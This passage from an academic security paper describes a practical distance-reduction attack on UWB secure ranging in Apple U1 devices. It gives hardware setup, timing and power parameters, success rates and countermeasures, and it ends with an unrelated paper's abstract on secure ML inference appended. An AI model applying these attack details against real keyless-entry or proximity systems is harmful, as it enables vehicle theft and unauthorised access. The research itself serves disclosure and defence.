In summary, an attacker needs to configure which packet in

the ranging sequence to attack (by selecting the delay from the

reception of the first packet) and the power of the preamble,

SFD, and STS to inject. In Section 3.2, we will explain why

and how these parameters affect the distance measurement.

3.2 Working Principle

In this subsection, we provide details about why and how the

attack works. Furthermore, we compare it to existing distance

shortening attacks.

3.2.1 Secure Leading Edge Detection

Accurate timestamps require detecting the earliest copy of

the received signal, also called leading edge detection. In the

following, we explain the challenge of leading edge detection

and describe how our attack selectively attacks specific fields

of targeted packets in a ranging sequence by overshadowing

the contents.

In a realistic environment with obstacles and reflections, the

receiver will likely be presented with multiple copies of the

transmitted signal, arriving with different power from differ-

ent paths. In HRP, the problem is exacerbated because these

delays might cause self-interference among pulses that are

spaced only by 16 ns (high repetition frequency of 64 MHz),

see Section 2.1.3. For Time-of-Flight measurements used in

Two-Way Ranging, the receiver must find the earliest copy,

corresponding to the shortest path (Line-of-Sight). When re-

ceiver and transmitter are not in LoS, the copy corresponding

to the direct path is likely to arrive at lower power than other

NLoS reflections, as previously shown in Figure 2. When

looking for the leading edge copy, any algorithm or imple-

mentation must decide whether it faces noise or a very low

power early copy of the signal, which is challenging.

Suppose an attacker is able to inject noise that looks reason-

ably similar to a legitimate low-power copy to the reception

algorithm. In that case, it might trick the receiver into accept-

ing it as the leading edge, causing a distance reduction. This

attack has been first proposed for IEEE 802.15.4a in [41]. In

IEEE 802.15.4a there is no STS and the attacker can inject

a UWB pulse to attack the preamble. A recent study [58]

has made the hypothesis, confirmed by simulation, that vari-

ations of the Cicada attack can be used to attack the STS in

IEEE 802.15.4z by injecting HRP pulses. Since HRP UWB

reception algorithms are not publicly known, simulations are

based on three main assumptions: (i) arrival time and quality

of the STS are computed via time-domain cross-correlation,

(ii) the leading edge is found by looking for a smaller correla-

tion peak in a limited backsearch window before the strongest

peak, and (iii) thresholds are set to evaluate the significance

of correlation compared to noise. Simulations in [58] high-

light that, given a reception algorithm, there is a fundamental

trade-off between security and performance: lax thresholds

are necessary to accept legitimate early copies in challeng-

ing multi-path environments, but this increases the chance of

accepting attacker-induced noise.

In this paper, we take the opposite approach. Instead of

hypothesizing a certain algorithm and design choice and

studying it in simulation, we empirically analyze the behavior

of the unknown algorithms deployed in real products (Ap-

ple U1) when subject to signal injection. Because of their

closed-source nature, we do not know most of the design

choices. For example, we are not aware whether they im-

plement time-domain cross-correlation or take a frequency-

domain approach, how they estimate the noise floor, how they
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define, and configure thresholds and whether such thresholds

are dynamically adjusted to the environment.

The only assumption we make when developing our at-

tack is that the receiver is able to work in NLoS conditions,

which we were able to confirm empirically. We then chose to

transmit signals crafted from standard packets, to maximize

the probability of generating noise that is misclassified for a

legitimate copy and to make the attack practical to implement.

Instead of injecting fine-grained aligned pulses at different

power and repetition frequencies, we observe how the fields

of standard packets affect reception. We adapt the structure of

the packet and the power level of the fields to maximize the

chances of reduction (by injecting STS pulses) while avoid-

ing jamming and other errors. In general, differently from

previous work, our attack handles many of those challenges

due to the fact that it operates on real sequences of packets

used in real exchanges.

It is worth noticing that the attacker does not have direct

control over the amount of distance reduction. A method to

gain partial control has been proposed in simulation in [58].

However, it requires to delay the legitimate copy, emulate the

leading edge detection algorithm at reception, analyze its out-

put in real-time, and interrupt the injection when the desired

result is obtained. For these reasons, it is hard to implement in

practice, in particular with off-the-shelf devices. As an alter-

native, in Section 3.2.3 we show how the choice of the victim

packet(s) in a sequence can affect the distribution of reduc-

tion, and in Section 4 we empirically analyze it. In Table 1 we

compare previous work on leading edge detection with our

approach. Nevertheless, in our threat model the attacker is not

interested in controlling the reduction but in causing practical

distance reductions that will trick the victim into believing

the legitimate user is close enough to grant access.

3.2.2 Selective Overshadowing to Avoid Jamming

An attack against leading edge detection can be successful

in practice only if the injection of the attack signal does not

accidentally produce other errors that invalidate a ranging

sequence. To achieve this goal, our attack carefully crafts

the timing, format, and power level of the attack signal. The

attacker’s transmission is not continuous but reactive. As

opposed to the continuous transmission of Gaussian noise

or UWB pulses, a reactive transmission allows targeting a

specific packet in the ranging sequence, without affecting

packets carrying data. Similarly, the attack packet does not

contain any data field that could corrupt the content of the

legitimate packet. The preamble is transmitted at low power

so that it does not trigger a new receive event. Such an event

would indeed lead to an error when the receiver determines

the STS quality and the presence of expected data fields. The

STS pulses are instead sent at higher power so that they over-

shadow the legitimate signal and produce noise that is misclas-

sified as an early copy. Finally, both the power of preamble

and STS are adjusted based on the relative distance between

devices. In particular, power is lowered to avoid jamming

when the device that transmits the packet to overshadow is

far away.

3.2.3 Selecting Victim Packet(s)

Typically, DS-TWR is used because it compensates for clock

errors and asymmetric reply times. We have confirmed this

in our analysis of many HRP UWB configurations. As men-

tioned in the standard, distance is computed with the method

proposed in [36]:

d̂ = c · T̂prop = c ·
Tround1 ·Tround2 −Treply1 ·Treply2

Tround1 +Tround2 +Treply1 +Treply2
(1)

For simplicity we can neglect non-idealities and consider that

distance is measured as the average of the two rounds [2]:

d̂ = c · T̂prop =
c

4
· (Tround1 +Tround2 −Treply1 −Treply2) (2)

Sometimes, a fourth message is used, likely for the transmis-

sion of additional data. If the ranging packets contain only

preamble and STS but no data, additional data packets are

sent earlier and/or later. In any case, the attacker can configure

the delay from reception of the first packet to attack either

the second or the third packet of the DS-TWR sequence. As

shown in Figure 8, attacking the second packet corresponds

to overshadowing a packet transmitted by the responder and

received by the initiator, while attacking the third packet cor-

responds to the opposite. It is convenient for the attacker to be

closer to the receiver to use less power for overshadowing, but

it is not strictly necessary. It is worth noting that the choice

between the second and third packet is not entirely symmetric.

Attacking the third packet has the only effect of reducing the

round time measured by the responder (Tround2) leading to:

d̂′
=

c

4
(Tround1 +Tround2 −δ−Treply1 −Treply2) = d̂ − c ·

δ

4
(3)

Instead, attacking the second packet reduces both Tround1

(because the initiator receives the packet earlier) and Tround2

(because the initiator consequently replies earlier), leading to:

d̂′′
=

c

4
(Tround1−δ+Tround2−δ−Treply1−Treply2)= d̂−c ·

δ

2
(4)

Clearly, by attacking the second packet, the attacker can ob-

tain reductions that are twice as big as those obtained by

attacking the third packet. The reduction δ is a random vari-

able not in control of the attacker and it is bounded by the

maximum difference between LoS and NLoS path accepted

by the receiver (width of the backsearch window). However,

precise control over distance is not required. For example, any

reduction below 2 m would break PKES and unlock a car.

As an alternative, the attacker can use devices to target

both the second packet (near the initiator) and the third packet
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Treply1 Tround2 −δ
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(a) Variant 1: Attack the initiator (e.g., phone)
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RX TX

Treply1 Tround2 −δ

Tround1 Treply2

(b) Variant 2: Attack the responder (e.g., car)

Figure 8: Generalization to more complex sequences (e.g., DS-TWR). The attacker can choose which packet/side to target.

(near the responder). We can consider the two attacks as inde-

pendent events. Therefore, the attacker will obtain reductions

of c · δ/4, 2c · δ/4, and 3c · δ/4, each with decreasing probability.

We confirm these calculations in Section 4. We tested our

targets in their operating range (≈ 15m) achieving reductions

of up to 12.45 m. A system designed for larger distances (e.g.,

100 m) would likely have a larger backsearch window allow-

ing longer reductions, but common use cases (e.g., car keys,

item finder) only envision short ranges.

3.3 Implementation

We have presented a general approach to conduct distance-

reduction attacks. In principle, it can be implemented with any

off-the-shelf HRP UWB IEEE 802.15.4z compatible device

that can be programmed to receive and transmit packets and

that allows configuring individual power levels for each field.

In practice, we have implemented the attack using a Qorvo

DWM3000EVB [45], controlled by a Nordic Semiconduc-

tor nRF52 DK [37], for a total cost of around USD 65 only.

These devices can be easily programmed with open-source

firmware [25], they have limited size, and they can be powered

by a portable USB battery.

The delay can be configured to be a multiple of the reply

time used by the victims so that the attack signal is transmit-

ted on top of one of the following packets (Figure 8). The

attacker can find this and other reception parameters in an

attack preparation phase. The preparation phase is only re-

quired once per protocol, e.g., parameters stay the same for

every iPhone–AirTag distance measurement.

For this, we have developed a sniffer and packet analyzer

based on a Qorvo DWM3000EVB attached to an STM32

Nucleo-F429ZI. Using Qorvo’s SDK, we implement a fast

UWB receiver, which forwards frames over a USB connection

to a host computer. Here, packets are analyzed with a custom

Wireshark dissector [22] that also supports Apple’s propri-

etary UWB frame format. Multiple packet analyzers with

different configurations can be connected, which is required

to observe complex ranging procedures. The DWM3000EVB

chip in our packet analyzer can receive timestamps with an

accuracy of 15.65 ps [15]. These timestamps are recorded and

forwarded to the Wireshark dissector. As we will show later

in Section 4, accuracy in the order of µs is sufficient to run

the attack. Since most protocols that are using UWB today

are closed source, there is no option to analyze the protocols

for potential privacy and security issues thoroughly. Besides

ranging frames, the UWB packet analyzer also receives data

frames. This allows us to inspect if any private data, static

identifiers, key material, or similar is shared over UWB. Ap-

ple does not use the IEEE 802.15.4 MAC frame format, e.g.,

for iPhone–iPhone and iPhone–HomePod ranging. We im-

plemented a Wireshark dissector that allows inspecting the

parts of it that are not encrypted. The analysis of a new UWB

sequence is simple. As long as a few initial parameters such

as the channel number are set, the device starts reporting re-

ception events and diagnostics such as preamble quality (any

preamble number triggers a reception, but with different qual-

ity) and other error codes. The attacker can then proceed to

adjust other parameters (e.g., packet structure, STS length)

until correct reception of a full packet occurs).

3.4 Application to Real HRP UWB Chips

We successfully applied our distance-reduction attack against

Apple U1 chips deployed in different products (iPhone,

AirTag, HomePod). When the U1 is interoperated with chips

from other vendors (NXP SR040, NXP SR150, and Qorvo

DWM3000), attacking the U1 still results in distance reduc-

tion for both sides.2

Figure 9a shows a concrete example. One iPhone 11 Pro

(Apple U1) is placed at 8 m distance from an NXP SR150 in

line of sight. The two devices exchange a total of 6 messages,

where 3 are used for DS-TWR. The iPhone is the initiator

(and victim) and the NXP SR150 is the responder. A Qorvo

DWM3000EVB acts as an attacker placed at around 30 cm

from the victim iPhone. By hitting the second message of the

DS-TWR sequence, the attacker causes distance reductions of

up to 10 m. The application running on the iPhone shows 8 m

when the attack is off and 0 m during a successful reduction.

Figure 9b shows another example of an attack targeting

ranging between two identical iPhones. In this case, the to-

tal number of messages is 4, but the attack is similar. By

targeting the second packet of the DS-TWR sequence, the

2Since all implementations are closed source, we do not know if different

parameters of the attack would work also for other combinations of chips (it

would require an exhaustive search).
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attacker causes reductions from 10 m to less than 2 m in the

raw measurements plotted on the laptop.

4 Experimental Evaluation

In this section, we demonstrate the feasibility of our attack,

show the number of distance reductions possible, and deter-

mine the success rate.

4.1 Setup

We ran the attacks in an indoor LoS environment with two vic-

tim devices placed at various distances between 5 m and 15 m

with antennas facing each other. This setup results in a rela-

tively good baseline signal quality with a small ranging error

(normally 10 cm to 20 cm) when the attack is turned off. We

chose this setup to avoid measurement noise due to channel

(e.g., excess paths) that would otherwise distort the outcome.

Different, potentially worse, channel conditions do not pose

an inherent challenge to an attacker, since an attacker can relay

signals (e.g., by cable) and establish relatively good channel

conditions this way. We evaluated the following device com-

binations: iPhone–iPhone (Nearby Interaction) [30], iPhone–

AirTag (FindMy ranging) [7], iPhone–HomePod (Handoff

music) [8], iPhone–NXP and iPhone–Qorvo (compatibility

mode) [31].

The attacker places either one or two Qorvo

DWM3000EVB in ca. 30 cm proximity to one or both

ranging devices. The adversarial transceivers perform a

reactive attack as introduced in Section 3, i.e., they are

programmed to detect the initial frame of the ranging

exchange and then overshadow preamble and STS of

one or two subsequent frames. It is important to note

that, while the overall success rate of the attack and the

maximum distance reduction increases when both sides are

targeted independently, the result of the ranging procedure is

synchronized among the devices, i.e., both legitimate devices

eventually report the same measurement time series.

As shown in Table 2, different applications have different

methods to start a sequence of ranging measurements. One

of the main goals for UWB-based access control is to pro-

vide seamless access when the user is close, while turning on

ranging only when necessary to save power. One method to

achieve this is to use Bluetooth Low Energy (BLE) to detect

the presence of the device and, if the BLE Received Signal

Strength Indicator (RSSI) is high enough, start UWB ranging,

as done by Handoff music in the iPhone–HomePod scenario.

Note that using BLE RSSI is not a secure measurement and is

vulnerable to simple physical attacks (e.g., relay). The iPhone

and Apple Watch are projected to use a similar mechanism

when used as PKES: using BLE to detect a car, generate and

exchange keys to be used for the STS, and start ranging [6].

The choice for ranging initiation for the iPhone–iPhone and

iPhone–NXP/Qorvo scenarios is left to the developer imple-

mentation. In our case, the user starts/stops ranging. AirTags

also require user interaction.

4.2 Retrieving Raw Distance Measurements

UWB-based key solutions only need to determine if a distance

is below or above a threshold. Thus, many applications do

not display detailed distance information in the user interface.

NXP SR150

(Responder)

Qorvo

DWM300EVB

(Attacker Off)

Legitimate

8 m

iPhone 11 Pro

(Initiator)

30 cm

8 m

NXP SR150

(Responder)

Qorvo

DWM300EVB

(Attacker On)

Reduction

to 0 m

iPhone 11 Pro

(Initiator)

30 cm

0 m

(a) iPhone (initiator, victim) + NXP SR150 (responder): reduction

from 8 m to 0 m visible on the screen of the iPhone.

Qorvo

DWM300EVB

(Attacker)
Reductions down

to less than 2 m

iPhone A

(Initiator)

iPhone B

(Responder)

30 cm

10 m

(b) iPhone + iPhone: reduction from 10 m to less than 2 m visible

in the raw measurements logs.

Figure 9: Two concrete examples of distance reduction attacks.

1352    31st USENIX Security Symposium USENIX Association



0 50

count

0

5

10

15

R
ep

o
rt

ed
 d

is
ta

n
ce

 [
m

]

0 200 400 600 800 1000 1200 1400

t [s]

0

0.05

0.1

0.15

0.2

S
u

cc
es

s 
ra

te

Figure 10: This figure shows a 25 min ranging experiment. Two iPhones are placed at a real distance of 15 m between each other,

under attack with two devices. The right part shows the distances reported for each measurement in blue, with obvious reductions

(i.e., reported distance less that 15 m). The success rate, which is calculated as a rolling average over 300 measurements, is
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Figure 11: Distribution of reduced distance reports for the

iPhone–iPhone (5 m and 15 m) setup, attacked with single

device over a 15 min observation period. The overall rate

of successful distance reductions (i.e., less than 5 meter and

15 meter, respectively) is ca. 2.2 % in both cases.

In contrast, we need precise distance measurement results

without aggregation to evaluate the success rates of attacks.

In the case of the Apple UWB implementation, the U1 chip

reports the raw measurements to iOS drivers, which log them.

Viewing these measurement logs requires the Location Ser-

vices and AirTag debug profile, which can be installed on any

iPhone without jailbreak [29]. Then, detailed measurement

information appears in the logs, including the distance.

nearbyd #me,MeasEngMetricsCalculator::checkCirMetrics:

AOA CycleIdx 1497 RangeMsmt 3.27164 machAbsTime ...

nearbyd #sp,[Solution Provider] r1 range: 3.272 m

iOS will forward the raw measurement to the correspond-

ing daemon or Nearby Interaction framework in most mea-

surement modes. For example, attacking a single distance

measurement between an iPhone and a HomePod mini is suf-

ficient to show the HomePod’s music playback menu on the

iPhone immediately. We observe the same behavior in the

compatibility mode, which is used for third-party integration

like car keys. For example, Figure 9a shows a reduction to

0 m visible on the screen.

Apple noticed that UWB distance measurements are not al-

ways reliable. When using the Nearby Interaction framework

with the example Peekaboo application [30], the current mea-

surement is only published if it does not deviate more than 1 m

from the median of the last 11 distance measurements. This

filter is not applied when the phone interacts with third-party

devices. We manually identify this boundary by replacing

distance values reported by the U1 chip on an iPhone with

F RIDA [24], similar to previously published hooks [14]. iOS

only discards measurements on the application layer, thereby

hiding them from curious developers. In the following, we

use the raw U1 chip measurements provided by the logs of an

unmodified iPhone to get comparable results, irrespective of

opaque application-layer filters.

4.3 Results

We quantify the success of the attack as the relative rate of

ranging measurements (as read from the iOS logs) indicating

a distance shorter than the baseline, averaged over an obser-

vation interval of at least 15 min. To separate benign measure-

ment non-idealities from actual reductions, we only count

measurements lower than two times the maximum benign

(negative) deviation during a 100 s interval before running the

attack.

For different device combinations, our attack causes dis-

tance reductions between ca. 2 m to 12 m with success rates

in the range of 2 % to 4 %. An overview is provided in Table 2.

Some of the differences in success rates, i.e., those between

2 % and 4 %, can be explained by the fact that either only one
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or two packets of the ranging procedure are attacked. This

means, for a given success rate per individual ToA measure-

ment (i.e., by packet), we increase the chances that at least one

ToA measurement of the ranging exchange is successfully

reduced by targeting both the second and third packet. To ex-

emplify the cumulative effect of multiple attacking devices on

the overall reduction, Figure 10 shows the entire time series

of measurements (iPhone–iPhone) over a 25 min observation

interval with one attack device placed at each end. Due to the

attack success rate changing over time, we also display the

instantaneous success rate using a sliding window over 300

consecutive measurements. The attack results in an overall

rate of reduced measurements of 4.1 %, whereas the rolling

average over 300 consecutive packets can get as high as 7.7 %.

The main uncontrollable source of such variations is likely the

randomness of the STS and correlation noise caused by the

adversarial transmission. The distribution of distance reduc-

tions is biased towards reductions ≤5 m because either of the

devices, i.e., the one targeting the second packet and the one

targeting the third packet, can cause those. In contrast, the de-

vice replying to the initiator (i.e., transmitting over the second

packet) can solely have an effect up to 10 m. This observa-

tion is in line with the analysis provided in Section 3.2. The

longest reduction observed over this interval is over 12.35 m,

caused by successful reductions on both packets attacked dur-

ing the same ranging procedure. Assuming independence of

the effects on either side, these additive reductions (exceeding

10 m), while orders of magnitude less likely, are still frequent

enough to occur within a realistic time window (25 min). This

shows that in any scenario where a key is placed less than ca.

14 m away, an attack can be successful with high likelihood.

A potential scenario is a car that is parked outside the main

door of a house, whereas the key is placed somewhere close to

the entrance3. In a configuration where only the responder is

vulnerable, distance reductions are limited by ca. 5 m, because

only the ToA of the third packet can be targeted. An example

for this is the combination of iPhone and NXP SR040, since

NXP SR040 can only be configured as initiator.

The range of possible relative distance reductions does not

depend on the actual distance of the ranging devices, and the

U1 chip even reports negative distances in case the distance

reduction exceeds the nominal distance. Figure 11 highlights

this, showing the distribution of reduced distance reports in

the iPhone–iPhone setup with one attack device over two

different distances, 5 m and 15 m, over a 15 min observation

period. It becomes evident that the relative reduction is, irre-

spective of the nominal distance, bounded by 10 m.

Jamming Even though organizations claim that UWB is

immune to jamming [20], we saw that it is perfectly possible

to disturb ranging measurements through jamming. When

3Precisely this attack scenario has become an increasing concern for

PKES that do not rely on signal ToF [16, 23, 59, 62].

setting the transmission power to a high level and the trans-

mission time to match with an expected ranging frame the

receiver will not be able to receive the frame. This is likely

caused by disturbing the STS.

4.4 Parameter Tuning

The timings and power level of the adversarial signal have

to be matched to the legitimate signal. To run a successful

attack, a time delay that matches the actual frame has to be

accurate in the order of 5 µs to have success rate of above

1 percent. Whereas the timing is relatively static, the power

level depends on the baseline signal quality. This means the

attack power needs to be adjusted depending on the path loss,

i.e., the distance between the legitimate devices. E.g., for

victim devices at a nominal distance of 15 m, we adjusted

the gain parameters to a fraction of the maximum possible

value on the Qorvo, ca. 1/4 for the preamble and 1/3 for the

STS. This adjustment is required to avoid sending a signal

too strong (i.e., competing with the legitimate main peak) but

strong enough to register a fake early peak. We found that

changes of the communication distance between 15 m and

5 m did not change the requirement on output power in order

to achieve success rates above 1 %. This means, while there

is a dependency on the channel, there is also a significant

window allowing for success. To address potentially stronger

channel variations, e.g., due to movement, we highlight di-

rections for calibration in Section 5.4. Other configurations,

like the channel frequency, packet sequence, preamble, SFD,

and delay between packets were found to be static for a given

target.

4.5 Device Pairings

In Table 2 we show the results of performing the attack against

different pairs of devices. In most cases, the iPhone has been

the main victim, since its implementation seems to be most

affected by this vulnerability. Our results have shown that

one vulnerable device results in a distance reduction for both

devices. This issue cannot be mitigated on one end only, since

every UWB ranging algorithm requires both devices to re-

port round-trip time Tround and reply delay Treply to the other

devices. This means that a user has to trust both devices,

which can only be achieved through independent certification,

including a review of the algorithms.

Additionally, we see that it is irrelevant with which device

the iPhone performs ranging. Every device combination is

vulnerable to distance reduction with a good success rate.

4.6 Confirming Results by Binary Analysis

Our attacks work without knowing UWB chip implementa-

tion details. Nonetheless, binary analysis of the UWB imple-

mentations helps understanding why attacks are feasible.
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Table 2: Overview of attack scenarios against Apple U1 (primary victim) and results.

Scenario Primary Victim Secondary Victim Roles Initiation Max. Reduction Success Rate

Handoff Music HomePod mini (Apple U1) iPhone (Apple U1) Init./Resp. Proximity∗ 9.01 m 2.10 %

Nearby Interaction iPhone (Apple U1) iPhone (Apple U1) Init./Resp. Developer choice∗∗ 12.45 m 4.08 %

AirTag AirTag (Apple U1) iPhone (Apple U1) Init./Resp. User interaction 9.09 m 4.25 %

NXP Initiator iPhone (Apple U1) Tag (NXP SR040) Resp./Init. Developer choice∗∗ 4.80 m 1.87 %

NXP Responder iPhone (Apple U1) Tag (NXP SR150) Init./Resp. Developer choice∗∗ 9.68 m 2.15 %

Qorvo iPhone (Apple U1) Tag (Qorvo DWM3000) Init./Resp. Developer choice∗∗ 8.13 m 3.09 %

∗Measured with BLE Received Signal Strength Indicator, which is not secure. ∗∗Defined by developer implementation, turned on/off by the user in our case.

All UWB chips analyzed in this paper are split into a main

application and a low-level Digital Signal Processor (DSP).

The DSP can be instrumented over a serial interface. The NXP

and Qorvo chip have a documented Application Programming

Interface (API) for this interface. However, the DSP itself is

inaccessible on these platforms. Qorvo does not allow repro-

gramming the DSP to the best of our knowledge. NXP ships

firmware files for the DSP, but they are encrypted and signed,

even in the development kit, which prevents analysis.

In contrast, Apple’s U1 DSP firmware is part of the soft-

ware updates for all UWB-enabled devices. It ships in a pro-

prietary ftab format [14], and the firmware is not encrypted.

However, it is a bare metal firmware without any symbols. It

contains a few strings, including assertions about the distance

measurement. One of these strings refers to the backsearch

window and is part of a function used for STS correlation:

(inp->sum_window_right - inp->sum_window_left + 1) <= 16

Since the backsearch window sampling rate is unknown,

we cannot calculate the maximum possible distance reduction.

5 Discussion

5.1 Strengths and Limitations

We proposed a practical attack that achieves distance reduc-

tion of several meters using only a simple and inexpensive

off-the-shelf device.

Its practicality makes this attack particularly relevant for

security-critical applications that are gaining more market

traction, for example, PKES systems in cars.

The main limitation of the attack is the little control on

the amount of distance reduction caused by selective over-

shadowing. The maximum reduction is set by the maximum

difference between NLoS and LoS accepted by the victim,

and how many packets in the DS-TWR sequence are targeted.

In the case of Apple U1, this results in attacks that reduce dis-

tance by a maximum of 5 m when attacking the third packet

of DS-TWR, 10 m when attacking the second, and 15 m when

attacking both. A system designed to be operated at larger

ranges would also require a larger backsearch window, result-

ing in larger reductions, too. It is worth noting that the attacker

is generally not interested in steering distance precisely. For

example, to attack an access control system, it is enough for

the attacker to cause a reduction below the threshold that

grants access within a reasonable time frame.

A related limitation is that the attacker cannot control pre-

cisely which ranging sequence is affected by a reduction.

Thus, the victim could try to identify outliers as a distance re-

duction attack. However, in a practical setting, the users move

and have their car key in a pocket, leading to similar outliers.

In addition, detecting outliers would generally require many

measurements, while a smooth user experience requires short

response times.

5.2 Reflections on HRP UWB Security

Our results are a clear call for research to improve the secu-

rity of HRP. We have shown that current security properties

hinge entirely on the quality of proprietary algorithms and

black-box implementations and that mere compliance with

IEEE 802.15.4z does not protect systems against distance

reduction attacks. We argue that security should not be a

distinguishing feature of individual implementations but pub-

licly available and verifiable. We are convinced that a secure

standard that withstands the scrutiny of the research com-

munity also benefits device vendors, as they can rely on its

correctness guarantees and focus entirely on implementation

challenges. Consequently, it is important to direct future work

towards the development of a secure and open algorithm for

first path detection, which can be integrated into an upcoming

standard. The fact that AES is used to generate the STS might

intuitively suggest a high level of security, since the probabil-

ity of guessing the key used to derive the STS is only 2−128.

Unfortunately, this intuition is wrong because the receiver

never verifies the correctness of the STS explicitly. While

cross-correlation peaks may indicate a certain similarity be-

tween the expected STS and the received signal, looking at

single values does not always provide sufficient information

about the correctness of the received STS. Consequently, the

probability of having a randomly injected STS accepted is

around 1− 4% (see Table 2), which is far above the adver-

sarial success rates accepted for PKES or payment systems,

which are around 2−20 and 2−48, respectively.
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5.3 Countermeasures

The necessity to distinguish legitimate early copies of the

signal from the attacker’s induced noise creates a tension

between HRP UWB security and performance. Our results

indicate that Apple’s current U1 implementation does not per-

form any noticeably advanced checks on the STS. However,

the chip does perform some basic checks, since we cannot

simply achieve 100 % success rate by transmitting packets in

advance. The receiver must apply advanced statistics on the in-

coming signal to detect attacks while still performing well in

challenging NLoS conditions. For example, the receiver could

compare the consistency between the channel response of the

early low-power copy and the main copy. The STS quality,

which represents the similarity of the incoming signal with the

expected one, should be checked independently for both early

and late copies. In other words, the receiver should not assume

that an early copy is acceptable just because another valid late

copy appears just afterwards. Such countermeasures require

increasing the complexity of the receiver, which might not be

feasible for battery-powered devices like the AirTags, and for

devices with strict reaction time constraints like PKES.

Reducing the maximum accepted difference between LoS

and NLoS copies would reduce the maximum reduction that

an attacker can achieve, but it would also limit the use of the

product in realistic scenarios, e.g., a car key in a pocket.

More countermeasures can be applied at the upper lay-

ers, for example, detecting reductions as outliers. However,

real-time applications do not have a margin for accumulating

more than a few measurements before reacting based on the

measurement value.

5.4 Future Work

On the theoretical side, our results are a call for researching

whether it would be possible to assure the HRP UWB security

level based on cross-correlation or other techniques. This is

challenging because its security is intertwined with propri-

etary algorithms and design choices. On the practical side, the

analysis and attack phases of our attack could be combined

in a feedback loop, achieving automated calibration of the at-

tack setup for varying scenarios. E.g., the power of the attack

packet could be automatically chosen based on some observa-

tions at reception. A chip such as the Qorvo DWM3000EVB

offers many reception diagnostics. E.g., when receiving the

packets sent by the victims, the attacker could estimate the

quality of their preamble, obtain a rough estimate of its rela-

tive distance from the victims, and adjust the power used for

overshadowing. Similarly, the attacker could measure the rate

of packets exchanged by the victims and lower its power if it

detects a lower rate due to jamming. Other attack parameters

could be adaptively configured in a similar automated fashion.

6 Related Work

The UWB IEEE 802.15.4 standard is described in [3,4]. Chips

following the HRP mode of the standard have been imple-

mented by several vendors, such as Apple (U1) [9], NXP

(SR040, SR150, SR100T) [38], and Qorvo (DWM3000) [45].

Chips implementing the standard LRP mode have been im-

plemented by Microchip (ATA8352, ATA8350) [35] and Re-

nesas [48]. To the best of our knowledge, these LRP mode

chips are not available in consumer electronic devices.

The first implementation-independent security evaluation

of HRP UWB at the physical layer has been conducted in [58].

That work proposed two attacks on HRP, derived from the

Cicada attack [42, 43], and shows in simulations that even

conservative receiver implementations could be susceptible to

distance reductions. In contrast to our paper, the authors nei-

ther conducted experiments with real UWB chips, nor prove

that attacks are practical with off-the-shelf hardware. Fur-

thermore, they did not consider other aspects of the UWB

ranging protocols, i.e., the sequence of messages, significance

of different message fields, or their power.

Further research on UWB ranging has been done in [57].

This work proposes improvements to LRP that aim at securely

extending the range of the LRP through pulse interleaving.

Previously documented attacks against UWB [21], which

applied to earlier standards (IEEE 802.15.4a), cannot be used

against HRP because of the high frequency of the pulses. For

example, an attacker cannot acquire the polarity of a 2 ns

pulse in time to advance it to conduct an ED/LC [41] attack.

The Apple U1 chip and secure ranging in iOS have been

studied recently in [14], with a focus on the overall software ar-

chitecture rather than physical-layer aspects. After the release

of AirTags, the hardware hacking community has discovered

that its main firmware can be easily extracted and modified

by glitching [39, 49]. Although the mentioned work provides

an interesting overview on Apple’s usage of HRP UWB in its

products, it has not analyzed physical-layer attacks or features

of the firmware that have an impact on the security of the

physical layer (e.g., the DSP code or the logic that decides

whether to accept early peaks in the backsearch window).

Other studies [27] focused on the security of the Ap-

ple FindMy network that allows locating devices including

AirTags. It is possible to add custom BLE devices to the

FindMy network [26] or to leverage FindMy to upload data

from devices without Internet connection [12]. These works

focus on BLE and the architecture of FindMy and are mostly

unrelated to the UWB technology that some of the devices

deploy.

The security of time of arrival measurements has been

formalized in the form of Message Time of Arrival Codes

(MTAC) in [34].
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7 Conclusion

We demonstrated for the first time a practical distance re-

duction attack against HRP UWB (IEEE 802.15.4z) secure

ranging, implemented in Apple U1 chips and widely deployed

in Apple products. We demonstrate that the impact reaches

beyond the Apple ecosystem, showing attacks when ranging

is performed between an Apple U1 chip in an iPhone and

development kits with chips by NXP and Qorvo. Distance re-

duction is a considerable concern in many applications, from

access control (e.g., opening cars, doors) to mobile payments

and indoor positioning for industrial plants. Our attack is prac-

tical, and it can be implemented with a cheap off-the-shelf

device. Our results raise the awareness on the pitfalls of HRP

UWB technology. On the one hand, HRP UWB promises a

nominally high security level based on a cryptographically se-

cure STS sequence that cannot be guessed by an attacker. On

the other hand, the actual security level depends on obscure

design choices at the receiver. No independent experimental

evaluation and certification framework exists either. Our re-

sults show that distance-reduction attacks are practical. To

improve the state of HRP UWB security, we have proposed

and discussed several countermeasures.
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Abstract
Secure inference allows a model owner (or, the server) and
the input owner (or, the client) to perform inference on ma-
chine learning model without revealing their private informa-
tion to each other. A large body of work has shown efficient
cryptographic solutions to this problem through secure 2-
party computation. However, they assume that both parties
are semi-honest, i.e., follow the protocol specification. Re-
cently, Lehmkuhl et al. showed that malicious clients can
extract the whole model of the server using novel model-
extraction attacks. To remedy the situation, they introduced
the client-malicious threat model and built a secure inference
system, MUSE, that provides security guarantees, even when
the client is malicious.

In this work, we design and build SIMC, a new crypto-
graphic system for secure inference in the client malicious
threat model. On secure inference benchmarks considered
by MUSE, SIMC has 23− 29× lesser communication and
is up to 11.4× faster than MUSE. SIMC obtains these im-
provements using a novel protocol for non-linear activation
functions (such as ReLU) that has > 28× lesser communica-
tion and is up to 43× more performant than MUSE. In fact,
SIMC’s performance beats the state-of-the-art semi-honest
secure inference system!

Finally, similar to MUSE, we show how to push the majority
of the cryptographic cost of SIMC to an input independent
preprocessing phase. While the cost of the online phase of
this protocol, SIMC++, is same as that of MUSE, the overall
improvements of SIMC translate to similar improvements to
the preprocessing phase of MUSE.

1 Introduction

Extensive use of machine learning in applications, specifically
inference using pre-trained models, has made the problem of
privacy preserving machine learning and in particular, secure
inference increasingly important. In secure inference, a server

∗Work done at Microsoft Research.

P0 holds a machine learning (ML) model M whose weights
w are private and sensitive, while a client P1 holds a private
input data point x. The goal is for P1 to learn the output
of the model on its input - i.e., for P1 to learn M(w,x) and
nothing else; while P0 must learn no information about client’s
private input. Secure inference has many applications - private
health diagnosis, and secure machine-learning-as-a-service
(MLaaS), to name a few. This problem, in theory, can be
solved using the cryptographic primitive of secure 2-party
computation (2PC) [22,55] that allows any two parties, to run
an interactive protocol, to compute any arbitrary function over
their inputs without revealing any other information to each
other. Over the last 10 years, much work has gone towards
building concretely efficient solutions for secure inference [21,
24, 34, 35, 37, 41, 42]. Being already a challenging problem
to solve efficiently, all these works focus on the semi-honest
adversarial model. In this model, both parties P0 and P1 are
trusted to follow the specifications of the secure inference
protocol faithfully and privacy is only provided against such
entities that do so.

